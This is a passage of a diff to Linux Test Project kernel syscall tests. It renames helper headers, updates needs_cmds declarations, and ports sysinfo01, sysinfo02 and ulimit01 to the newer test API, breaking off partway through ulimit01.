a/ltp/testcases/kernel/syscalls/sigwaitinfo/sigwaitinfo01.c b/ltp/testcases/kernel/syscalls/sigwaitinfo/sigwaitinfo01.c index f7d90047..c17ea9c2 100644 --- a/ltp/testcases/kernel/syscalls/sigwaitinfo/sigwaitinfo01.c +++ b/ltp/testcases/kernel/syscalls/sigwaitinfo/sigwaitinfo01.c @@ -1,7 +1,7 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* Copyright (c) Jiri Palecek<jpalecek@web.de>, 2009 */ -#include "libsigwait.h" +#include "tse_sigwait.h" static int my_sigwaitinfo(const sigset_t * set, siginfo_t * info, void *timeout LTP_ATTRIBUTE_UNUSED) @@ -10,13 +10,13 @@ static int my_sigwaitinfo(const sigset_t * set, siginfo_t * info, } struct sigwait_test_desc tests[] = { - { test_empty_set, SIGUSR1}, - { test_unmasked_matching, SIGUSR1}, - { test_masked_matching, SIGUSR1}, - { test_unmasked_matching_noinfo, SIGUSR1}, - { test_masked_matching_noinfo, SIGUSR1}, - { test_bad_address, SIGUSR1}, - { test_bad_address2, SIGUSR1}, + { tse_empty_set, SIGUSR1}, + { tse_unmasked_matching, SIGUSR1}, + { tse_masked_matching, SIGUSR1}, + { tse_unmasked_matching_noinfo, SIGUSR1}, + { tse_masked_matching_noinfo, SIGUSR1}, + { tse_bad_address, SIGUSR1}, + { tse_bad_address2, SIGUSR1}, }; static void run(unsigned int i) @@ -29,6 +29,6 @@ static void run(unsigned int i) static struct tst_test test = { .test= run, .tcnt = ARRAY_SIZE(tests), - .setup = sigwait_setup, + .setup = tse_sigwait_setup, .forks_child = 1, }; diff --git a/ltp/testcases/kernel/syscalls/sockioctl/sockioctl01.c b/ltp/testcases/kernel/syscalls/sockioctl/sockioctl01.c index e81ec20a..6555e921 100644 --- a/ltp/testcases/kernel/syscalls/sockioctl/sockioctl01.c +++ b/ltp/testcases/kernel/syscalls/sockioctl/sockioctl01.c @@ -40,7 +40,7 @@ #include <net/if.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" char *TCID = "sockioctl01"; int testno; diff --git a/ltp/testcases/kernel/syscalls/statmount/statmount.h b/ltp/testcases/kernel/syscalls/statmount/statmount.h index d21d7f8d..4217a82d 100644 --- a/ltp/testcases/kernel/syscalls/statmount/statmount.h +++ b/ltp/testcases/kernel/syscalls/statmount/statmount.h @@ -16,7 +16,7 @@ static inline int statmount(uint64_t mnt_id, uint64_t mask, struct statmount *buf, size_t bufsize, unsigned int flags) { - struct mnt_id_req req = { + mnt_id_req req = { .size = MNT_ID_REQ_SIZE_VER0, .mnt_id = mnt_id, .param = mask, diff --git a/ltp/testcases/kernel/syscalls/statmount/statmount09.c b/ltp/testcases/kernel/syscalls/statmount/statmount09.c index 20c76ba2..eaa882b8 100644 --- a/ltp/testcases/kernel/syscalls/statmount/statmount09.c +++ b/ltp/testcases/kernel/syscalls/statmount/statmount09.c @@ -39,7 +39,11 @@ static void run(void) return; TST_EXP_EQ_LI(st_mount->mask, STATMOUNT_MNT_NS_ID); +#if !defined(HAVE_STRUCT_STATMOUNT) || defined(HAVE_STRUCT_STATMOUNT_MNT_NS_ID) TST_EXP_EQ_LI(st_mount->mnt_ns_id, mnt_ns_id); +#else + tst_res(TCONF, "statmount.mnt_ns_id not available in current headers"); +#endif } static void setup(void) diff --git a/ltp/testcases/kernel/syscalls/statx/statx05.c b/ltp/testcases/kernel/syscalls/statx/statx05.c index 2a460322..07b5e7b9 100644 --- a/ltp/testcases/kernel/syscalls/statx/statx05.c +++ b/ltp/testcases/kernel/syscalls/statx/statx05.c @@ -123,9 +123,9 @@ static struct tst_test test = { {.type = "ext4"}, {} }, - .needs_cmds = (const char *[]) { - "mkfs.ext4 >= 1.43.0", - "e4crypt", - NULL + .needs_cmds = (struct tst_cmd[]) { + {.cmd = "mkfs.ext4 >= 1.43.0"}, + {.cmd = "e4crypt"}, + {} } }; diff --git a/ltp/testcases/kernel/syscalls/statx/statx06.c b/ltp/testcases/kernel/syscalls/statx/statx06.c index 9795740c..40a0d4a4 100644 --- a/ltp/testcases/kernel/syscalls/statx/statx06.c +++ b/ltp/testcases/kernel/syscalls/statx/statx06.c @@ -30,7 +30,7 @@ #define MOUNT_POINT "mount_ext" #define TEST_FILE MOUNT_POINT"/test_file.txt" -#define SIZE 2 +#define SIZE 3 static int fd; diff --git a/ltp/testcases/kernel/syscalls/statx/statx07.c b/ltp/testcases/kernel/syscalls/statx/statx07.c index bab64591..755644cf 100644 --- a/ltp/testcases/kernel/syscalls/statx/statx07.c +++ b/ltp/testcases/kernel/syscalls/statx/statx07.c @@ -171,8 +171,8 @@ static struct tst_test test = { {} }, .needs_root = 1, - .needs_cmds = (const char *[]) { - "exportfs", - NULL + .needs_cmds = (struct tst_cmd[]) { + {.cmd = "exportfs"}, + {} } }; diff --git a/ltp/testcases/kernel/syscalls/statx/statx09.c b/ltp/testcases/kernel/syscalls/statx/statx09.c index ee4be425..8838d545 100644 --- a/ltp/testcases/kernel/syscalls/statx/statx09.c +++ b/ltp/testcases/kernel/syscalls/statx/statx09.c @@ -162,8 +162,8 @@ static struct tst_test test = { "CONFIG_FS_VERITY", NULL }, - .needs_cmds = (const char *[]) { - "mkfs.ext4 >= 1.45.2", - NULL + .needs_cmds = (struct tst_cmd[]) { + {.cmd = "mkfs.ext4 >= 1.45.2"}, + {} } }; diff --git a/ltp/testcases/kernel/syscalls/swapoff/swapoff01.c b/ltp/testcases/kernel/syscalls/swapoff/swapoff01.c index bf097ac1..065b5edb 100644 --- a/ltp/testcases/kernel/syscalls/swapoff/swapoff01.c +++ b/ltp/testcases/kernel/syscalls/swapoff/swapoff01.c @@ -13,7 +13,7 @@ #include "tst_test.h" #include "lapi/syscalls.h" -#include "libswap.h" +#include "tse_swap.h" #define MNTPOINT "mntpoint" #define TEST_FILE MNTPOINT"/testswap" diff --git a/ltp/testcases/kernel/syscalls/swapoff/swapoff02.c b/ltp/testcases/kernel/syscalls/swapoff/swapoff02.c index b6c42898..d7b87256 100644 --- a/ltp/testcases/kernel/syscalls/swapoff/swapoff02.c +++ b/ltp/testcases/kernel/syscalls/swapoff/swapoff02.c @@ -14,7 +14,7 @@ #include <pwd.h> #include "tst_test.h" #include "lapi/syscalls.h" -#include "libswap.h" +#include "tse_swap.h" #define MNTPOINT "mntpoint" #define TEST_FILE MNTPOINT"/testswap" diff --git a/ltp/testcases/kernel/syscalls/swapon/swapon01.c b/ltp/testcases/kernel/syscalls/swapon/swapon01.c index a214bc9d..38699c03 100644 --- a/ltp/testcases/kernel/syscalls/swapon/swapon01.c +++ b/ltp/testcases/kernel/syscalls/swapon/swapon01.c @@ -14,7 +14,7 @@ #include <stdlib.h> #include "tst_test.h" #include "lapi/syscalls.h" -#include "libswap.h" +#include "tse_swap.h" #define MNTPOINT "mntpoint" #define SWAP_FILE MNTPOINT"/swapfile01" diff --git a/ltp/testcases/kernel/syscalls/swapon/swapon02.c b/ltp/testcases/kernel/syscalls/swapon/swapon02.c index 625d463f..d3e528c9 100644 --- a/ltp/testcases/kernel/syscalls/swapon/swapon02.c +++ b/ltp/testcases/kernel/syscalls/swapon/swapon02.c @@ -17,7 +17,7 @@ #include "tst_test.h" #include "lapi/syscalls.h" -#include "libswap.h" +#include "tse_swap.h" #define MNTPOINT "mntpoint" #define TEST_FILE MNTPOINT"/testswap" diff --git a/ltp/testcases/kernel/syscalls/swapon/swapon03.c b/ltp/testcases/kernel/syscalls/swapon/swapon03.c index 0068560f..858ba20b 100644 --- a/ltp/testcases/kernel/syscalls/swapon/swapon03.c +++ b/ltp/testcases/kernel/syscalls/swapon/swapon03.c @@ -1,14 +1,17 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* + * Copyright (c) Linux Test Project, 2009-2025 * Copyright (c) International Business Machines Corp., 2007 * Created by <rsalveti@linux.vnet.ibm.com> - * */ /*\ - * This test case checks whether swapon(2) system call returns: + * Test checks whether :manpage:`swapon(2)` system call returns EPERM when the maximum + * number of swap files are already in use. * - * - EPERM when there are more than MAX_SWAPFILES already in use. + * NOTE: test does not try to calculate MAX_SWAPFILES from the internal + * kernel implementation, instead make sure at least 15 swaps were created + * before the maximum of swaps was reached. */ #include <stdio.h> @@ -18,7 +21,14 @@ #include <sys/swap.h> #include "tst_test.h" #include "lapi/syscalls.h" -#include "libswap.h" +#include "tse_swap.h" + +/* + * MAX_SWAPFILES from the internal kernel implementation is currently <23, 29>, + * depending on kernel configuration (see man swapon(2)). Chose small enough + * value for future changes. + */ +#define MIN_SWAP_FILES 15 #define MNTPOINT "mntpoint" #define TEST_FILE MNTPOINT"/testswap" @@ -27,41 +37,28 @@ static int swapfiles; static int setup_swap(void) { - pid_t pid; - int status; - int j, max_swapfiles, used_swapfiles; + int used_swapfiles, min_swapfiles; char filename[FILENAME_MAX]; - SAFE_SETEUID(0); + used_swapfiles = tse_count_swaps(); + min_swapfiles = MIN_SWAP_FILES - used_swapfiles; - /* Determine how many more files are to be created */ - max_swapfiles = tst_max_swapfiles(); - used_swapfiles = tst_count_swaps(); - swapfiles = max_swapfiles - used_swapfiles; - if (swapfiles > max_swapfiles) - swapfiles = max_swapfiles; + while (true) { + /* Create the swapfile */ + snprintf(filename, sizeof(filename), "%s%02d", TEST_FILE, swapfiles); + MAKE_SMALL_SWAPFILE(filename); - pid = SAFE_FORK(); - if (pid == 0) { - /*create and turn on remaining swapfiles */ - for (j = 0; j < swapfiles; j++) { + /* Quit on a first swap file over max, check for EPERM */ + if (swapon(filename, 0) == -1) { + if (errno == EPERM && swapfiles > min_swapfiles) + break; - /* Create the swapfile */ - snprintf(filename, sizeof(filename), "%s%02d", TEST_FILE, j + 2); - MAKE_SMALL_SWAPFILE(filename); - - /* turn on the swap file */ - TST_EXP_PASS_SILENT(swapon(filename, 0)); + tst_brk(TFAIL | TERRNO, "swapon(%s, 0)", filename); } - exit(0); - } else - waitpid(pid, &status, 0); - - if (WEXITSTATUS(status)) - tst_brk(TFAIL, "Failed to setup swap files"); + swapfiles++; + } tst_res(TINFO, "Successfully created %d swap files", swapfiles); - MAKE_SMALL_SWAPFILE(TEST_FILE); return 0; } @@ -71,7 +68,7 @@ static int setup_swap(void) */ static int check_and_swapoff(const char *filename) { - char cmd_buffer[256]; + char cmd_buffer[FILENAME_MAX+28]; int rc = -1; snprintf(cmd_buffer, sizeof(cmd_buffer), "grep -q '%s.*file' /proc/swaps", filename); @@ -93,11 +90,9 @@ static void clean_swap(void) char filename[FILENAME_MAX]; for (j = 0; j < swapfiles; j++) { - snprintf(filename, sizeof(filename), "%s%02d", TEST_FILE, j + 2); + snprintf(filename, sizeof(filename), "%s%02d", TEST_FILE, j); check_and_swapoff(filename); } - - check_and_swapoff("testfile"); } static void verify_swapon(void) @@ -127,7 +122,6 @@ static struct tst_test test = { .mount_device = 1, .all_filesystems = 1, .needs_root = 1, - .forks_child = 1, .test_all = verify_swapon, .setup = setup, .cleanup = cleanup diff --git a/ltp/testcases/kernel/syscalls/symlink/symlink03.c b/ltp/testcases/kernel/syscalls/symlink/symlink03.c index c89fe5d6..c73875dc 100644 --- a/ltp/testcases/kernel/syscalls/symlink/symlink03.c +++ b/ltp/testcases/kernel/syscalls/symlink/symlink03.c @@ -87,7 +87,7 @@ #include <pwd.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" #define MODE_RWX S_IRWXU | S_IRWXG | S_IRWXO #define FILE_MODE S_IRUSR | S_IRGRP | S_IROTH diff --git a/ltp/testcases/kernel/syscalls/symlinkat/symlinkat01.c b/ltp/testcases/kernel/syscalls/symlinkat/symlinkat01.c index d510872f..565e4d92 100644 --- a/ltp/testcases/kernel/syscalls/symlinkat/symlinkat01.c +++ b/ltp/testcases/kernel/syscalls/symlinkat/symlinkat01.c @@ -42,7 +42,7 @@ #include <string.h> #include <signal.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" #include "lapi/syscalls.h" #define MYRETCODE -999 diff --git a/ltp/testcases/kernel/syscalls/sysinfo/sysinfo01.c b/ltp/testcases/kernel/syscalls/sysinfo/sysinfo01.c index 2ea44a2b..7d6c8e97 100644 --- a/ltp/testcases/kernel/syscalls/sysinfo/sysinfo01.c +++ b/ltp/testcases/kernel/syscalls/sysinfo/sysinfo01.c @@ -1,176 +1,76 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * Copyright (c) International Business Machines Corp., 2001 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Copyright (c) International Business Machines Corp., 2001 + * Copyright (c) 2026 Cyril Hrubis <chrubis@suse.cz> */ -/* - * Test Name : sysinfo01 - * - * Test description - * Verify that sysinfo() succeeds to get the system information and fills - * the structure passed. - * - * Expected Result : - * sysinfo() returns value 0 on success and the sysinfo structure should - * be filled with the system information. - * - * Algorithm: - * Setup : - * Setup for signal handling. - * Create temporary directory. - * Pause for SIGUSR1 if option specified. - * Test: - * Loop if the proper option is given. - * Execute the system call. - * Check return code, if system call failed (return=-1) - * Log the errno and Issue a FAIL message. - * Otherwise, - * if we are being called by another sysinfo test. - * Print the infomation that was returned for use by the calling - * test. - * otherwise, - * Report success. - * Cleanup: - * Print errno log and/or timing stats if options given - * Delete the temporary directory created. - * - * USAGE: <for command-line> - * sysinfo01 [-c n] [-i n] [-I x] [-P x] [-t] - * where, -c n : Run n copies concurrently. - * -i n : Execute test n times. - * -I x : Execute test for x seconds. - * -P x : Pause for x seconds between iterations. - * -t : Turn on syscall timing. - * History - * 07/2001 John George - * -Ported - * - * Restrictions: - * None - * +/*\ + * Verify that :manpage:`sysinfo(2)` succeeds to get the system information and + * fills the structure passed. We do sanity checks on the returned values, + * either comparing it againts values from /proc/ files or by checking that the + * values are in sane e.g. free RAM <= total RAM. */ -#include <stdio.h> -#include <errno.h> -#include <string.h> -#include <sys/types.h> -#include <sys/stat.h> -#include <sys/signal.h> +#include <stdlib.h> +#include <math.h> #include <sys/sysinfo.h> +#include "tst_test.h" -#include "test.h" - -void setup(); -void cleanup(); - -char *TCID = "sysinfo01"; -int TST_TOTAL = 1; +static struct sysinfo *sys_buf; -int main(int ac, char **av) +static void run(void) { - struct sysinfo *sys_buf; - int lc; - float l1, l2, l3; - unsigned long l1_up, l2_up, l3_up; - - sys_buf = malloc(sizeof(struct sysinfo)); - - tst_parse_opts(ac, av, NULL, NULL); - - setup(); /* Global setup */ - - /* The following loop checks looping state if -i option given */ - for (lc = 0; TEST_LOOPING(lc); lc++) { - - /* reset tst_count in case we are looping */ - tst_count = 0; - - TEST(sysinfo(sys_buf)); - /* check return code */ - if (TEST_RETURN == -1) { - /* To gather stats on errnos returned, log the errno */ - tst_brkm(TFAIL, cleanup, "sysinfo() Failed, errno=%d" - " : %s", TEST_ERRNO, strerror(TEST_ERRNO)); - } else { - /* Test succeeded */ - - /* This portion of the code generates information - * used by sysinfo03 to test the functionality of - * sysinfo. - */ - - if (ac == 2 && !strncmp(av[1], "TEST3", 5)) { - tst_resm(TINFO, "Generating info for " - "sysinfo03"); - l1 = sys_buf->loads[0] / 60000.0; - l2 = sys_buf->loads[1] / 60000.0; - l3 = sys_buf->loads[2] / 60000.0; - l1_up = l1 * 100; - l2_up = l2 * 100; - l3_up = l3 * 100; - sys_buf->loads[0] = sys_buf->loads[0] / 10; - sys_buf->loads[1] = sys_buf->loads[1] / 10; - sys_buf->loads[2] = sys_buf->loads[2] / 10; - printf("uptime %lu\n", sys_buf->uptime); - printf("load1 %lu\n", sys_buf->loads[0]); - printf("load2 %lu\n", sys_buf->loads[1]); - printf("load3 %lu\n", sys_buf->loads[2]); - printf("l1 %lu\n", l1_up); - printf("l2 %lu\n", l2_up); - printf("l3 %lu\n", l3_up); - printf("totalram %lu\n", sys_buf->totalram); - printf("freeram %lu\n", sys_buf->freeram); - printf("sharedram %lu\n", sys_buf->sharedram); - printf("bufferram %lu\n", sys_buf->bufferram); - printf("totalswap %lu\n", - sys_buf->totalswap / (1024 * 1024)); - printf("freeswap %lu\n", sys_buf->freeswap); - printf("procs %lu\n", - (unsigned long)sys_buf->procs); - } else { - tst_resm(TPASS, - "Test to check the return code PASSED"); - } - } + long uptime; + float load1, load5, load15; + float sys_load1, sys_load5, sys_load15; + unsigned long totalswap, totalswap_kb; + unsigned long totalram, totalram_kb; + + TST_EXP_PASS(sysinfo(sys_buf)); + + if (!TST_PASS) + return; + + SAFE_FILE_SCANF("/proc/uptime", "%ld", &uptime); + SAFE_FILE_SCANF("/proc/loadavg", "%f %f %f", &load1, &load5, &load15); + totalram = SAFE_READ_MEMINFO("MemTotal:"); + totalswap = SAFE_READ_MEMINFO("SwapTotal:"); + + if (sys_buf->uptime < uptime || sys_buf->uptime - uptime > 2) { + tst_res(TFAIL, "uptime: %ld, expected between %ld and %ld", + sys_buf->uptime, uptime, uptime + 2); + } else { + tst_res(TPASS, "uptime: %ld (>= %ld)", sys_buf->uptime, uptime); } - cleanup(); - tst_exit(); + sys_load1 = (float)sys_buf->loads[0] / (1 << SI_LOAD_SHIFT); + sys_load5 = (float)sys_buf->loads[1] / (1 << SI_LOAD_SHIFT); + sys_load15 = (float)sys_buf->loads[2] / (1 << SI_LOAD_SHIFT); -} - -/* - * setup() - * performs one time setup - * - */ -void setup(void) -{ + /* Compare loads with tolerance */ + if (fabs(sys_load1 - load1) > 0.1 || fabs(sys_load5 - load5) > 0.1 || fabs(sys_load15 - load15) > 0.1) { + tst_res(TFAIL, "loadavg: %.2f %.2f %.2f, expected ~%.2f %.2f %.2f", + sys_load1, sys_load5, sys_load15, load1, load5, load15); + } else { + tst_res(TPASS, "loadavg: %.2f %.2f %.2f", sys_load1, sys_load5, sys_load15); + } - tst_sig(FORK, DEF_HANDLER, cleanup); + totalram_kb = ((unsigned long long)sys_buf->totalram * sys_buf->mem_unit) / TST_KB; + totalswap_kb = ((unsigned long long)sys_buf->totalswap * sys_buf->mem_unit) / TST_KB; - umask(0); + TST_EXP_EQ_LU(totalram_kb, totalram); + TST_EXP_EQ_LU(totalswap_kb, totalswap); - TEST_PAUSE; + TST_EXP_LE_LU(sys_buf->freeram, sys_buf->totalram); + TST_EXP_LE_LU(sys_buf->sharedram, sys_buf->totalram); + TST_EXP_LE_LU(sys_buf->bufferram, sys_buf->totalram); + TST_EXP_LE_LU(sys_buf->freeswap, sys_buf->totalswap); } -/* - * cleanup() - * - */ -void cleanup(void) -{ -} +static struct tst_test test = { + .test_all = run, + .bufs = (struct tst_buffers[]) { + {&sys_buf, .size = sizeof(*sys_buf)}, + {} + } +}; diff --git a/ltp/testcases/kernel/syscalls/sysinfo/sysinfo02.c b/ltp/testcases/kernel/syscalls/sysinfo/sysinfo02.c index 4ce06e0a..4655d9a0 100644 --- a/ltp/testcases/kernel/syscalls/sysinfo/sysinfo02.c +++ b/ltp/testcases/kernel/syscalls/sysinfo/sysinfo02.c @@ -1,137 +1,30 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * - * Copyright (c) International Business Machines Corp., 2001 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Copyright (c) International Business Machines Corp., 2001 + * Copyright (c) 2026 Cyril Hrubis <chrubis@suse.cz> */ -/* - * Test Name : sysinfo02 - * - * Test description - * Verify that sysinfo() returns the correct error for an invalid address structure. - * - * Expected Result : - * sysinfo() returns value 0 on success and the sysinfo structure should - * be filled with the system information. - * - * Algorithm: - * Setup : - * Setup for signal handling. - * Create temporary directory. - * Pause for SIGUSR1 if option specified. - * Test: - * Loop if the proper option is given. - * Execute the system call. - * Pass an invalid address to the structure. - * Check return code, if system call failed (return=-1) - * Test case passed, Issue functionality pass message - * Otherwise, - * Issue Functionality-Fail message. - * Cleanup: - * Print errno log and/or timing stats if options given - * Delete the temporary directory created. - * - * USAGE: <for command-line> - * sysinfo02 [-c n] [-i n] [-I x] [-P x] [-t] - * where, -c n : Run n copies concurrently. - * -i n : Execute test n times. - * -I x : Execute test for x seconds. - * -P x : Pause for x seconds between iterations. - * -t : Turn on syscall timing. - * History - * 07/2001 John George - * -Ported - * - * Restrictions: - * None - * +/*\ + * Verify that :manpage:sysinfo(2) returns EFAULT for an invalid address + * structure. */ -#include <stdio.h> -#include <errno.h> -#include <sys/types.h> -#include <sys/stat.h> -#include <sys/signal.h> #include <sys/sysinfo.h> -#include <stdint.h> - -#include "test.h" - -#define INVALID_ADDRESS ((uintptr_t)-1) +#include "tst_test.h" -void setup(); -void cleanup(); +static struct sysinfo *bad_info; -char *TCID = "sysinfo02"; -int TST_TOTAL = 1; - -int main(int ac, char **av) +static void setup(void) { - struct sysinfo *sysinfo_buf; - int lc; - - sysinfo_buf = (void *)INVALID_ADDRESS; - - tst_parse_opts(ac, av, NULL, NULL); - - setup(); /* Global setup */ - - /* The following loop checks looping state if -i option given */ - for (lc = 0; TEST_LOOPING(lc); lc++) { - - /* reset tst_count in case we are looping */ - tst_count = 0; - - TEST(sysinfo(sysinfo_buf)); - /* check return code */ - if (TEST_RETURN != 0 && TEST_ERRNO == EFAULT) { - /* Test succeeded as it was supposed to return -1 */ - tst_resm(TPASS, - "Test to check the error code %d PASSED", - TEST_ERRNO); - } else { - /* Test Failed */ - tst_brkm(TFAIL, cleanup, "sysinfo() Failed, Expected -1 " - "returned %d/n", TEST_ERRNO); - } - } - cleanup(); - tst_exit(); - + bad_info = tst_get_bad_addr(NULL); } -/* - * setup() - * performs one time setup - * - */ -void setup(void) +static void run(void) { - - tst_sig(FORK, DEF_HANDLER, cleanup); - - umask(0); - - TEST_PAUSE; + TST_EXP_FAIL(sysinfo(bad_info), EFAULT); } -/* - * cleanup() - * - */ -void cleanup(void) -{ -} +static struct tst_test test = { + .setup = setup, + .test_all = run, +}; diff --git a/ltp/testcases/kernel/syscalls/tee/tee01.c b/ltp/testcases/kernel/syscalls/tee/tee01.c index d1489d04..436c52a2 100644 --- a/ltp/testcases/kernel/syscalls/tee/tee01.c +++ b/ltp/testcases/kernel/syscalls/tee/tee01.c @@ -58,17 +58,13 @@ static void tee_test(void) SAFE_PIPE(pipe1); SAFE_PIPE(pipe2); - ret = splice(fd_in, NULL, pipe1[1], NULL, TEST_BLOCK_SIZE, 0); - if (ret < 0) - tst_brk(TBROK | TERRNO, "splice(fd_in, pipe1) failed"); + SAFE_SPLICE(fd_in, NULL, pipe1[1], NULL, TEST_BLOCK_SIZE, 0); ret = tee(pipe1[0], pipe2[1], TEST_BLOCK_SIZE, SPLICE_F_NONBLOCK); if (ret < 0) tst_brk(TBROK | TERRNO, "tee() failed"); - ret = splice(pipe2[0], NULL, fd_out, NULL, TEST_BLOCK_SIZE, 0); - if (ret < 0) - tst_brk(TBROK | TERRNO, "splice(pipe2, fd_out) failed"); + SAFE_SPLICE(pipe2[0], NULL, fd_out, NULL, TEST_BLOCK_SIZE, 0); SAFE_CLOSE(pipe2[0]); SAFE_CLOSE(pipe2[1]); diff --git a/ltp/testcases/kernel/syscalls/time/time01.c b/ltp/testcases/kernel/syscalls/time/time01.c index 9b176f89..7227720d 100644 --- a/ltp/testcases/kernel/syscalls/time/time01.c +++ b/ltp/testcases/kernel/syscalls/time/time01.c @@ -23,24 +23,23 @@ static time_t *targs[] = { static void verify_time(unsigned int i) { time_t *tloc = targs[i]; + time_t ret_time = time(tloc); - TEST(time(tloc)); - - if (TST_RET == -1) { + if (ret_time == -1) { tst_res(TFAIL | TTERRNO, "time()"); return; } if (!tloc) { - tst_res(TPASS, "time() returned value %ld", TST_RET); - } else if (*tloc == TST_RET) { + tst_res(TPASS, "time() returned value %jd", (intmax_t) ret_time); + } else if (*tloc == ret_time) { tst_res(TPASS, - "time() returned value %ld, stored value %jd are same", - TST_RET, (intmax_t) *tloc); + "time() returned value %jd, stored value %jd are same", + (intmax_t) ret_time, (intmax_t) *tloc); } else { tst_res(TFAIL, - "time() returned value %ld, stored value %jd are different", - TST_RET, (intmax_t) *tloc); + "time() returned value %jd, stored value %jd are different", + (intmax_t) ret_time, (intmax_t) *tloc); } } diff --git a/ltp/testcases/kernel/syscalls/ulimit/README b/ltp/testcases/kernel/syscalls/ulimit/README deleted file mode 100644 index 87fa0d23..00000000 --- a/ltp/testcases/kernel/syscalls/ulimit/README +++ /dev/null @@ -1,4 +0,0 @@ -Warning: This routine is obsolete. The include file is no - longer provided by glibc. Use getrlimit(2), setrlimit(2) - and sysconf(3) instead. For the shell command ulimit, see - bash(1). diff --git a/ltp/testcases/kernel/syscalls/ulimit/ulimit01.c b/ltp/testcases/kernel/syscalls/ulimit/ulimit01.c index 74dea91c..a475b797 100644 --- a/ltp/testcases/kernel/syscalls/ulimit/ulimit01.c +++ b/ltp/testcases/kernel/syscalls/ulimit/ulimit01.c @@ -1,260 +1,36 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) 2000 Silicon Graphics, Inc. All Rights Reserved. - * - * This program is free software; you can redistribute it and/or modify it - * under the terms of version 2 of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, but - * WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. - * - * Further, this software is distributed without any warranty that it is - * free of the rightful claim of any third person regarding infringement - * or the like. Any license provided herein, whether implied or - * otherwise, applies only to this software file. Patent licenses, if - * any, provided herein do not apply to combinations of this program with - * other software, or any other product whatsoever. - * - * You should have received a copy of the GNU General Public License along - * with this program; if not, write the Free Software Foundation, Inc., - * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. - * - * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy, - * Mountain View, CA 94043, or: - * - * http://www.sgi.com - * - * For further information regarding this notice, see: - * - * http://oss.sgi.com/projects/GenInfo/NoticeExplan/ + * Copyright (c) Linux Test Project, 2024 + * Copyright (c) 2026 Cyril Hrubis <chrubis@suse.cz> */ -/* $Id: ulimit01.c,v 1.6 2009/11/02 13:57:19 subrata_modak Exp $ */ -/********************************************************** - * - * OS Test - Silicon Graphics, Inc. - * - * TEST IDENTIFIER : ulimit01 - * - * EXECUTED BY : anyone - * - * TEST TITLE : Basic test for ulimit(2) - * - * PARENT DOCUMENT : usctpl01 - * - * TEST CASE TOTAL : 6 - * - * WALL CLOCK TIME : 1 - * - * CPU TYPES : ALL - * - * AUTHOR : William Roske - * - * CO-PILOT : Dave Fenner - * - * DATE STARTED : 03/30/92 - * - * INITIAL RELEASE : UNICOS 7.0 - * - * TEST CASES - * - * 1.) ulimit(2) returns...(See Description) - * - * INPUT SPECIFICATIONS - * The standard options for system call tests are accepted. - * (See the parse_opts(3) man page). - * - * OUTPUT SPECIFICATIONS - *$ - * DURATION - * Terminates - with frequency and infinite modes. - * - * SIGNALS - * Uses SIGUSR1 to pause before test if option set. - * (See the parse_opts(3) man page). - * - * RESOURCES - * None - * - * ENVIRONMENTAL NEEDS - * The libcuts.a and libsys.a libraries must be included in - * the compilation of this test. - * - * SPECIAL PROCEDURAL REQUIREMENTS - * None - * - * INTERCASE DEPENDENCIES - * None - * - * DETAILED DESCRIPTION - * This is a Phase I test for the ulimit(2) system call. It is intended - * to provide a limited exposure of the system call, for now. It - * should/will be extended when full functional tests are written for - * ulimit(2). - * - * Setup: - * Setup signal handling. - * Pause for SIGUSR1 if option specified. - * - * Test: - * Loop if the proper options are given. - * Execute system call - * Check return code, if system call failed (return=-1) - * Log the errno and Issue a FAIL message. - * Otherwise, Issue a PASS message. - * - * Cleanup: - * Print errno log and/or timing stats if options given - * - * - *#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#**/ -#include <ulimit.h> -#include <errno.h> -#include <string.h> -#include <signal.h> -#include "test.h" - -void setup(); -void cleanup(); - -char *TCID = "ulimit01"; -int TST_TOTAL = 6; - -int cmd; -long limit; /* saved limit */ - -struct limits_t { - int cmd; - long newlimit; - int nlim_flag; /* special flag for UL_SETFSIZE records */ - int exp_fail; -} Scenarios[] = { +/*\ + * Tests the basic functionality of :manpage:`ulimit(3)` with UL_GETFSIZE and + * UL_SETFSIZE. + */ - { - UL_GETFSIZE, -1, 0, 0}, { - UL_SETFSIZE, -2, 1, 0}, /* case case: must be after UL_GETFSIZE */ - { - UL_SETFSIZE, -2, 2, 0}, /* case case: must be after UL_GETFSIZE */ -#if UL_GMEMLIM - { - UL_GMEMLIM, -1, 0, 0}, -#endif -#if UL_GDESLIM - { - UL_GDESLIM, -1, 0, 0}, -#endif -#if UL_GSHMEMLIM - { - UL_GSHMEMLIM, -1, 0, 0}, -#endif -}; +#include <ulimit.h> +#include "tst_test.h" -int main(int ac, char **av) +static void run(void) { - int lc; - int i; - int tmp; - - TST_TOTAL = sizeof(Scenarios) / sizeof(struct limits_t); - - /*************************************************************** - * parse standard options - ***************************************************************/ - tst_parse_opts(ac, av, NULL, NULL); - - /*************************************************************** - * perform global setup for test - 